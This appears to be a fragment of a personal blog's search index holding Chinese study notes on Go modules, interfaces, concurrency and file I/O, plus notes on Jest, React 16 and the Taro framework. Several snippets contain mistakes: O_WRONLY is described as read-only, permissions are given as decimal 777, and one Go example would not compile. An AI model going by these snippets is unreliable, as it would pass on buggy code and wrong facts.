包名\n注意：包名不能和文件夹的名字相同，包名不能出现-符号，一个文件夹中直接包含的文件只能归1个package，同一个package的文件不能在多个文件夹中，而且只有引入了包名为main的程序，编译后会得到可执行文件，如果没有包含main包的程序编译不会得到可执行文件\ninit()初始化函数：导入包，自动触发包内部的init()函数的调用\ngo会先从main包开始检查其导入的所有包，每个包又可能导入了其他包，因此形成了一个树状包引入关系，根据引入的顺序来决定编译的顺序\n最后导入的包最先初始化并且调用其init()函数\ngolang第三包仓库https://pkg.go.dev/\ngo install 编译并安装包（当存在GOBIN环境变量时，编译完成的二进制文件放到$GOBIN下，如果不存在默认放到GOPATH/bin下，源码默认在$HOME/sdk下）\ngo install github.com/tal-tech/go-zero@1.4.1\ngo get 全局安装包（Go 1.17版本中已被弃用，推荐使用go install ）\ngo get github.com/tal-tech/go-zero\ngo mod download 全局安装包\n依赖自动下载到$GOPATH/pkg/mod目录，多个项目可共享缓存的mod，使用该命令之前需要在项目引入第三方包\ngo mod vendor 将依赖复制到当前项目的vendor中，需要在项目引入第三方包\ngo mod vendor\n其他命令\ngo mod edit 编辑go.mod文件\ngo mod tidy 自动处理go.mod中多引入和少引入的包（没有使用的module移除，缺少引入的module将自动引入构建，确保go.mod与模块中的源代码一致）\ngo mod graph 打印模块依赖图\ngo mod verify 校验依赖，检查下载的第三方库是否本地修改，如果没有修改则返回0（校验成功），否则返回非0（校验失败）\ngo mod why 解释为啥需要包\n使用Modules\nGO111MODULE：1.12版本之前的，要设置环境变量GO111MODULE，之后就不需要了通过设置GO111MODULE来开启或者关闭go module\nGO111MODULE = off 禁用go module，编译时在GOPATH和vendor中查找包 GO111MODULE = on 启用go module，编译时忽略GOPATH和vendor，只根据go.mod下载依赖 GO111MODULE=auto 默认值，当项目在GOPATH/src之外，并且项目的根目录有go.mod文件时启用go module\nwindows设置GO111MODULE\nset GO111MODULE=on|off|auto\nMacOS或者Linux设置GO111MODULE\nexport GO111MODULE=on|off|auto\noff和auto，下载的包安装在GOPATH/src目录下\nno，下载的包安装在GOPATH/pkg/mod/下，也在这个目录下查找包（不在GOPATH/src查找）\n也可以手动修改环境变量，GO111MODULE变量，值为on|off|auto\nGOPROXY：GO代理服务器，是Go官方提供的中间代理的方式来包下载，需要设置GOPROXY环境变量\n常见的代理服务器地址：\ngoproxy.io； goproxy.cn：由国内的七牛云提供\n一键设置GOPROXY：\nwindows：go env -w GOPROXY=https://goproxy.cn,direct\nLinux或者macOS：export GOPROXY=https://goproxy.cn\n注意：go语言在1.13版本后，GOPROXY默认为https://proxy.golang.org，如果下载缓慢或者无法访问请设置为https://goproxy.cn\n也可以手动修改环境变量，GOPROXY变量，值为https://goproxy.cn\n依赖的安装（注意：需要移除把项目从GOPATH移除（GOPATH下不允许有go.mod），否则报错$GOPATH/go.mod exists but should not）\ngo get下载指定版本的依赖包\ngo get -u 升级项目中的包到最新的次要版本或者修订版本 go get -u=patch 升级项目中的包到最新的修订版本 go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值\n手动修改go.mod，执行go mod download或者使用go get\ngo的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现\n接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体\ntype TestData interface{ // 定义一个TestData接口 test() data() } type Data struct { // 实现接口 User string } func (d Data) test() { fmt.Println(d.User, \u0026quot;Test\u0026quot;) } func (d Data) data() { fmt.Println(d.User, \u0026quot;Data\u0026quot;) } func main() { var datamain TestData = Data{ \u0026quot;root\u0026quot;, } datamain.test() datamain.data() } 空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）\ntype Maxdata interface { // 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口 } func main() { var abc Maxdata var str = \u0026quot;hallo word\u0026quot; abc = str fmt.Println(abc) } Go1.18版本已添加any关键字来表示泛型\nfunc main(){ var abc any abc = 'hallo any' fmt.Println(abc) } 实质上any还是空接口interface{}的类型别名，type any = interface{}\n空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）\n空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数\nfunc Data(abc interface{}) { fmt.println(abc) } 使用空接口来实现可以保存任意类型的map\nvar dataInfo = make(map[string]interface{}) dataInfo[\u0026quot;uesr\u0026quot;] = \u0026quot;root\u0026quot; dataInfo[\u0026quot;age\u0026quot;] = 20 dataInfo[\u0026quot;pass\u0026quot;] = \u0026quot;123456789\u0026quot; 使用空接口来实现一个空接口类型的切片\nvar dataslice = make([]interface{}, 6, 6) dataslice[0] = \u0026quot;root\u0026quot; dataslice[1] = 20 dataslice[3] = \u0026quot;123456789\u0026quot; 类型断言\n接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值\n判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)\n例如：\nvar abc interface{} abc = 123 value, isInt := abc.(int) if isInt { fmt.Println(\u0026quot;int类型, 值为：\u0026quot;, value) } else { fmt.Println(\u0026quot;不是int类型，断言失败\u0026quot;) } Go并发\n还是讲一下进程和线程的区别\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\ngo的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了\n每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）\n通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如\nvar wg sync.WaitGroup // 协程计数器 func data1() { for i := 0; i \u0026lt; 5; i++ { fmt.Println(\u0026quot;hallo word\u0026quot;) time.Sleep(time.Millisecond * 100) } wg.Done() // 程序结束则协程计数器减1 } func data2() { for a := 0; a \u0026lt; 5; a++ { fmt.Println(\u0026quot;hallo golang\u0026quot;) time.Sleep(time.Millisecond * 100) } wg.Done() // 程序结束则协程计数器减1 } func main() { wg.Add(1) // 协程计数器加1 go data1() wg.Add(1) // 协程计数器加1 go data2() for i := 0; i \u0026lt; 5; i++ { fmt.Println(\u0026quot;hallo hahaha\u0026quot;) time.Sleep(time.Millisecond * 100) } wg.Wait() // 等待所有的协程执行完毕 fmt.Println(\u0026quot;主线程结束\u0026quot;) } 通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程\ngo运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数\n注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数\nCpu := runtime.NumCPU() // 获取cpu个数 fmt.Println(\u0026quot;cpu核心数:\u0026quot;, Cpu) runtime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量 看看多协程实质执行效果\nvar vg sync.WaitGroup func data(num int) { for i := 0; i \u0026lt;= 10; i++ { fmt.Printf(\u0026quot;协程%v输出的%v条数据 \\n\u0026quot;, num, i) } vg.Done() } func main() { for i := 0; i \u0026lt;= 10; i++ { go data(i) vg.Add(1) } vg.Wait() fmt.Println(\u0026quot;主线程结束\u0026quot;) } 通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine\ngo语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信\nchannel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型\n声明管道（通过chan关键字声明）\nvar ch1 chan int // 声明传递整型的管道 var ch2 chan string // 声明传递字符串的管道 因为其是引用类型，需要使用make()声明内存空间才能使用\nch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道 ch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道 管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用\u0026lt;-符号表示，例如：\nch2 \u0026lt;- \u0026quot;hall word\u0026quot; // 将hall word发送到ch2管道里 data := \u0026lt;- ch2 // 接收ch2管道的数据 close(ch2) // 通过内置的close函数关闭管道 管道也有容量，长度，用cap(), len()获取\n管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞\n注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误\n另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了\ngoroutine和channel协作\nfunc data(ch1 chan int) { for i := 0; i \u0026lt;= 5; i++ { fmt.Println(\u0026quot;写入:\u0026quot;, i) ch1 \u0026lt;- i time.Sleep(time.Millisecond * 100) } wg.Done() } func dataGet(ch1 chan int) { for a := 0; a \u0026lt;= 5; a++ { fmt.Println(\u0026quot;接收:\u0026quot;, \u0026lt;-ch1) time.Sleep(time.Millisecond * 100) } wg.Done() } func main() { ch1 := make(chan int, 5) wg.Add(1) go data(ch1) wg.Add(1) go dataGet(ch1) wg.Wait() fmt.Println(\u0026quot;主线程结束\u0026quot;) } data函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据\n单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）\n声明只可发送的管道（不能接收）\nvar ch = make(chan\u0026lt;- int, 5) ch \u0026lt;- 10 声明只可读的管道（不能发送）\nvar ch1 = make(\u0026lt;-chan int, 5) \u0026lt;- ch1 使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞\nselect关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句\n例如：\nvar ch1 = make(chan int, 10) ch1 \u0026lt;- 1 ch1 \u0026lt;- 2 ch1 \u0026lt;- 10 ch1 \u0026lt;- 8 ch1 \u0026lt;- 0 ch1 \u0026lt;- 23 var ch2 = make(chan string, 10) ch2 \u0026lt;- \u0026quot;hallo word\u0026quot; ch2 \u0026lt;- \u0026quot;hallo golang\u0026quot; for { select { case data:= \u0026lt;- ch1: fmt.Println(\u0026quot;读取ch1的数据：\u0026quot;, data) case data:= \u0026lt;- ch2: fmt.Println(\u0026quot;读取ch2的数据：\u0026quot;, data) default: fmt.Println(\u0026quot;所有的数据获取完毕\u0026quot;) return } } 可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）\n并发安全和锁\n在并发环境中，可能会出现并发访问的问题，需要使用互斥锁\n互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()\nvar mutex sync.Mutex // 定义锁 mutex.Lock() // 上锁 mutex.Unlock() // 解锁 当禁止访问公共资源时上锁，当需要访问公共资源时解锁\n互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了\n读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁\n读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据\n在go语言中，读写锁用sync.RWMutex定义\nvar mu sync.RWMutex // 定义读写锁 mu.RLock() // 上锁 mu.RUnlock() // 解锁 操作文件和目录\n使用os.Open读取文件\nfile, err := os.Open(\u0026quot;./data.txt\u0026quot;) // 读取文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\u0026quot;打开文件出错\u0026quot;) } var bytedata = make([]byte, 1024) for { n, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾 if err == io.EOF { fmt.Printf(\u0026quot;读取完毕\u0026quot;) break } fmt.Printf(\u0026quot;读取到了%v 个字节 \\n\u0026quot;, n) var strdata []byte strdata := append(strdata, bytedata...) fmt.Println(string(strdata)) } 另一种读取方式（bufio，读取大文件推荐使用这个）\nfile, err := os.Open(\u0026quot;./data.txt\u0026quot;) // 读取文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\u0026quot;打开文件出错\u0026quot;) } reader := bufio.NewReader(file) var fileStr string var count int = 0 for { str, err := reader.ReadString('\\n') if err == io.EOF { fileStr += str fmt.Println(\u0026quot;读取结束\u0026quot;, count) break } if err != nil { fmt.Println(err) break } count ++ fileStr += str } fmt.Println(fileStr) 读取小文件（ioutil）\nStrdata, err:= ioutil.ReadFile(\u0026quot;./data.txt\u0026quot;) if err != nil { fmt.Println(\u0026quot;打开文件出错\u0026quot;) } fmt.Println(string(Strdata)) 写入文件（os.OpenFile）\nfile, err := os.OpenFile(\u0026quot;./data.txt\u0026quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件 defer file.Close() // 关闭文件流 if err != nil { fmt.Println(\u0026quot;打开文件出错\u0026quot;) } str := \u0026quot;hallo word\u0026quot; file.WriteString(str) // 写入文件 这里os.OpenFile接收3个参数，分别是要打开的文件的路径，打开文件的模式（多个模式用|隔开），文件的权限（和Linux文件权限一样，用八进制表示，读（04），写（02），执行（01），一般为777或者755）\nos.O_WRONLY：只读 os.O_CREATE：创建 os.O_RDONLY：只读 os.O_RDWR：读写 os.O_TRUNC：清空 os.O_APPEND：追加\nbufio写入\nfile, err := os.OpenFile(\u0026quot;./main/test.txt\u0026quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件 defer file.Close() if err != nil { fmt.Println(\u0026quot;打开文件出错\u0026quot;) } writer := bufio.NewWriter(file) writer.WriteString(\u0026quot;hallo word\u0026quot;) writer.Flush() ioutil写入\nstr := \u0026quot;hallo word\u0026quot; ioutil.WriteFile(\u0026quot;./data.txt\u0026quot;, []byte(str), 777) 复制内容到文件\nStr, err := ioutil.ReadFile(\u0026quot;./data.txt\u0026quot;) if err != nil { fmt.Println(\u0026quot;读取文件出错\u0026quot;) return } ioutil.WriteFile(\u0026quot;./data1.txt\u0026quot;, Str, 777) 创建目录\nos.Mkdir(\u0026quot;./test\u0026quot;, 777)\n删除文件和目录\nos.Remove(\u0026quot;data1.txt\u0026quot;) // 删除文件 os.Remove(\u0026quot;./test) // 删除目录 os.RemoveAll(\u0026quot;./test1\u0026quot;) // 和Remove一样，不过这个会递归删除所有子目录和文件 重命名\nfile := \u0026quot;./data.txt\u0026quot; err1 := os.Rename(file,\u0026quot;test.txt\u0026quot;) if err1 != nil { panic(err1) } else { fmt.Println(\u0026quot;文件重命名成功\u0026quot;) } folder := \u0026quot;./demo\u0026quot; err2 := os.Rename(folder, \u0026quot;demo1\u0026quot;) if err2 != nil { panic(err1) } else { fmt.Println(\u0026quot;目录重命名成功\u0026quot;) } ","permalink":"https://chenjunlinabc.github.io/posts/96/","summary":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main import \u0026quot;fmt\u0026quot; func main(){ fmt.Println(\u0026quot;hallo golang\u0026quot;) } go run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;","title":"Golang学习笔记"},{"content":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){ return \u0026quot;hello world\u0026quot; } hello.test.js\nconst hello = require('../hello') it('should ', () =\u0026gt; { expect(hello()).toBe('hello world') }) package.json\n{ \u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot; } } 执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6\ntoBeLessThanOrEqual(6) //判断结果是否小于等于6\ntoBeCloseTo(3.14) //判断结果是否相等于3.14浮点数\ntoMatch() //判断结果正则表达式\ntoContain() //判断是否包含\nJest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS\n当然需要安装babel\nyarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 \u0026ndash;dev\n新建.babelrc文件（babel转换配置文件）\n{ \u0026quot;presets\u0026quot;:[ [ \u0026quot;@babel/preset-env\u0026quot;,{ \u0026quot;targets\u0026quot;:{ \u0026quot;node\u0026quot;:\u0026quot;current\u0026quot; } } ] ] } ","permalink":"https://chenjunlinabc.github.io/posts/95/","summary":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){ return \u0026quot;hello world\u0026quot; } hello.test.js\nconst hello = require('../hello') it('should ', () =\u0026gt; { expect(hello()).toBe('hello world') }) package.json\n{ \u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot; } } 执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6","title":"简单使用Jest-JavaScript测试工具"},{"content":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){ return[ \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;, \u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt; ] } 或者\nrender(){ return \u0026quot;hallo word\u0026quot; } 错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){ console.log(error,info) } Portals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown = \u0026quot;**这是加粗的文字**\\n\\n\u0026quot; + \u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; + \u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; + \u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; + \u0026quot;`console.log(111)` \\n\\n\u0026quot; + \u0026quot;``` var a=11; ```\u0026quot;; \u0026lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/\u0026gt; ","permalink":"https://chenjunlinabc.github.io/posts/94/","summary":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){ return[ \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;, \u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt; ] } 或者\nrender(){ return \u0026quot;hallo word\u0026quot; } 错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){ console.log(error,info) } Portals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown = \u0026quot;**这是加粗的文字**\\n\\n\u0026quot; + \u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; + \u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; + \u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; + \u0026quot;`console.log(111)` \\n\\n\u0026quot; + \u0026quot;``` var a=11; ```\u0026quot;; \u0026lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/\u0026gt; ","title":"React进阶学习笔记"},{"content":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data 如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：\nimport Taro, { Component } from '@tarojs/taro' class Data extends Component{ config = { navigationBarTitleText: 'hallo word' } render(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } } export default Data 导入\nimport Data from \u0026lsquo;./data.jsx\u0026rsquo;\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;{props.count}\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\ntaro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：\npages: [ 'pages/main/main', 'pages/data/data' ], 注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro' import {View , Text ,Button} from '@tarojs/components' function Main(){ const [data,setData] = useState(\u0026quot;hallo\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index'+data}) } return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt; \u0026lt;Button onClick={UrlIndex}\u0026gt;GO\u0026lt;/Button\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro' ... const [data,setData] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; 多参数传递也是可以\nconst [data,setData] = useState(\u0026quot;hallo\u0026quot;) const [name,setName] = useState(\u0026quot;root\u0026quot;) const [pass,setPass] = useState(\u0026quot;123\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index?data='+data+'\u0026amp;name='+name+'\u0026amp;pass='+pass}) } 接收多参数\nconst [data,setData] = useState('') const [name,setName] = useState('') const [pass,setPass] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) setName(this.$router.params.name) setPass(this.$router.params.pass) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{name}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{pass}\u0026lt;/Text\u0026gt; 导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro' import {View , Text ,Button, Image} from '@tarojs/components' import {imgdata,cssdata} from '../../data' // 导入方法（函数） import logo from '../../img/1.jpg' // 导入静态资源 useEffect(()=\u0026gt;{ imgdata() cssdata() },[]) ... \u0026lt;Image 